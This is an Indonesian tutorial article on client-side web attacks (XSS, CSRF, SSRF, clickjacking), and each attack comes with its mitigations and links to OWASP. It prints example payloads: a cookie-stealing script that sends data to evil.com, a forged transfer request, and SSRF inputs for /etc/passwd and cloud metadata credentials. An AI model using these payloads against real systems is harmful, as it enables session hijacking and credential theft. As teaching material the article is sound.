CYBERATTACK — CLIENT-SIDE ATTACKS: XSS, CSRF, SSRF, dan Clickjacking
CYBERATTACK — CLIENT-SIDE ATTACKS: XSS, CSRF, SSRF, dan Clickjacking

1. Cross-Site Scripting (XSS) — Menyuntikkan Skrip ke Browser Korban
XSS adalah kerentanan di mana penyerang menyisipkan skrip berbahaya (biasanya JavaScript) ke halaman web yang dikunjungi korban. Berbeda dengan SQL Injection yang menyerang database, XSS menyerang pengguna dari aplikasi web — browser korban yang mengeksekusi skrip tersebut .
[DEFINISI — TIGA VARIAN XSS]
Reflected XSS: Payload “memantul” langsung dari URL atau form input ke halaman response tanpa disimpan. Korban harus mengklik link yang sudah mengandung payload. Contoh: search?q=<script>alert(1)</script> .
Stored XSS (Persistent): Payload disimpan permanen di database server — misalnya di kolom komentar, forum post, atau profil user. Setiap pengunjung yang membuka halaman tersebut akan mengeksekusi payload. Ini jauh lebih berbahaya karena menyerang semua pengunjung, bukan hanya satu korban .
DOM-based XSS: Payload dieksekusi langsung oleh client-side script (JavaScript di browser) tanpa melalui server. Data dari document.location, document.URL, atau innerHTML diproses secara tidak aman, dan browser mengeksekusi payload tersebut .
- Dampak XSS
Session hijacking (mencuri cookiedocument.cookie), defacement, keylogging, redirect ke situs phishing, mencuri data form, atau bahkan mengendalikan browser korban sepenuhnya. - Contoh Payload Klasik
<script>document.location=’http://evil.com/steal.php?c=’+document.cookie</script>
Payload ini mengirim cookie korban ke server penyerang. Kalau cookie tersebut adalah session token, penyerang bisa login sebagai korban.
2. Cross-Site Request Forgery (CSRF) — Memaksa Browser Korban Melakukan Aksi
CSRF adalah serangan di mana penyerang memaksa browser korban yang sedang login untuk mengirim request ke aplikasi web target — tanpa sepengetahuan korban. Korban hanya perlu mengunjungi halaman yang dikontrol penyerang, dan request berbahaya otomatis terkirim dengan session cookie korban yang masih valid .
[MEKANISME SERANGAN CSRF]
1. Korban login ke bank.com — browser menyimpan session cookie.
2. Korban (masih dalam keadaan login) membuka halaman jahat yang dikontrol penyerang.
3. Halaman jahat berisi request tersembunyi: <img src="http://bank.com/transfer?amount=1000&to=attacker">
4. Browser secara otomatis mengirim request tersebut dengan cookie korban — server menganggapnya request sah dari korban. Uang transfer tanpa korban sadar.
- Target CSRF yang Paling Berbahaya
Net banking (transfer uang), e-commerce (pembelian tanpa sadar), change password, change email, atau aksi administratif apapun yang hanya butuh mouse click . - Mitigasi: CSRF Token
Server generate token acak yang tidak bisa diprediksi, simpan di session, dan kirim sebagai hidden field atau header. Setiap request harus menyertakan token yang valid. Token ini tidak bisa dibaca oleh penyerang karena same-origin policy . - Mitigasi: SameSite Cookies
Set cookie dengan atributSameSite=StrictatauSameSite=Lax— cookie tidak akan dikirim pada cross-site request, sehingga CSRF otomatis gagal.
3. Server-Side Request Forgery (SSRF) — Memaksa Server Mengakses Jaringan Internal
SSRF adalah kerentanan di mana aplikasi web meminta remote resource tanpa memvalidasi URL yang diberikan pengguna. Penyerang bisa memaksa server untuk mengirim request ke jaringan internal yang seharusnya tidak bisa diakses dari luar — melewati firewall, VPN, atau ACL .
[SKENARIO SERANGAN SSRF]
#1 Port Scanning Internal: Memetakan port mana yang terbuka di server internal berdasarkan waktu koneksi .
#2 Baca File Lokal: Mengakses file:///etc/passwd atau http://localhost:28017/ .
#3 Cloud Metadata: Mengakses http://169.254.169.254/latest/meta-data/ — endpoint metadata AWS/GCP/Azure untuk mencuri IAM credentials .
#4 Eksploitasi Layanan Internal: Menyalahgunakan layanan internal untuk RCE atau DoS lebih lanjut .
- Contoh Skenario Nyata
Fitur “Fetch Image from URL” di aplikasi web → penyerang inputhttp://169.254.169.254/latest/meta-data/iam/security-credentials/→ server mengambil kredensial AWS → penyerang dapat akses ke S3 bucket, database, atau bahkan seluruh infrastruktur cloud. - Mitigasi SSRF
Validasi URL dengan allowlist (bukan denylist!), disable HTTP redirect, segmentasi jaringan, jangan kirim response mentah ke client, dan monitor DNS resolution untuk mencegah DNS rebinding .
4. Clickjacking (UI Redress) — Menipu Korban Agar Klik Tombol Tersembunyi
Clickjacking adalah serangan yang memancing korban untuk mengklik elemen yang berbeda dari apa yang korban lihat. Penyerang menempatkan target (misalnya tombol “Transfer Uang” di bank) di dalam iframe transparan, lalu menutupinya dengan elemen visual yang terlihat menarik — seperti tombol “Mainkan Video” atau “Klik untuk Menang” .
[MEKANISME CLICKJACKING]
1. Penyerang membuat halaman palsu dengan iframe yang memuat bank.com/transfer.
2. iframe dibuat transparan (opacity: 0) dan diposisikan tepat di bawah tombol “Klik Disini”.
3. Korban mengklik “Klik Disini” — tapi yang terklik sebenarnya adalah tombol “Transfer” di dalam iframe. Uang transfer tanpa korban sadar .
- Target Clickjacking
Aksi apapun yang hanya butuh mouse click: transfer uang, like/share di social media, follow akun, konfirmasi OAuth, atau ubah setting privacy . - Mitigasi: X-Frame-Options
Header HTTPX-Frame-Options: DENY(blokir semua framing) atauSAMEORIGIN(hanya izinkan same-origin framing). Browser modern juga support CSPframe-ancestorsyang lebih fleksibel .
Ringkasan — Client-Side Attacks Cheatsheet
| Serangan | Target | Dampak | Mitigasi |
|---|---|---|---|
| XSS | Browser korban | Session hijack, deface, keylog | Output encoding, CSP, HttpOnly cookie |
| CSRF | Session korban | Aksi tanpa sadar (transfer, ubah password) | CSRF token, SameSite cookie |
| SSRF | Server internal | Baca file internal, cloud takeover | Allowlist URL, disable redirect, segmentasi |
| Clickjacking | Mouse korban | Klik tombol tersembunyi | X-Frame-Options, CSP frame-ancestors |
Artikel Terkait
Artikel ini adalah bagian dari CyberAttack Series. Untuk pendalaman lebih lanjut, baca juga artikel terkait berikut:
- Web Exploitation: Daftar Lengkap Kategori, Metode, dan Contoh Serangan
Roadmap 7 kategori utama web exploitation — dari Injection & RCE sampai Architecture & Logic Flaws. - CMS Exploitation: Joomla, WordPress, Drupal, Magento, vBulletin — Path Rentan, CVE, dan Exploit Chain
Bedah tuntas kerentanan CMS populer — dari CVE-2026-49049 (Helix3 RCE) sampai WP2shell (CVE-2026-60137 + CVE-2026-63030).
TL;DR — Client-Side Attacks dalam 4 Poin
- XSS: Menyuntikkan JavaScript ke browser korban — Reflected, Stored, DOM-based. Dampak: session hijack, deface, keylog. Mitigasi: output encoding + CSP.
- CSRF: Memaksa browser korban kirim request tanpa sadar — target: transfer uang, ubah password. Mitigasi: CSRF token + SameSite cookie.
- SSRF: Memaksa server akses jaringan internal — baca file lokal, curi cloud metadata. Mitigasi: allowlist URL + disable redirect.
- Clickjacking: Menipu korban klik tombol tersembunyi di iframe transparan. Mitigasi: X-Frame-Options header.
OWASP XSS Prevention Cheat Sheet — Cara mencegah XSS
OWASP CSRF Prevention Cheat Sheet — Cara mencegah CSRF
OWASP SSRF Prevention Cheat Sheet — Cara mencegah SSRF
OWASP Top 10 2021 — A10:2021 – SSRF
PortSwigger Web Security Academy — Lab praktik XSS, CSRF, dan SSRF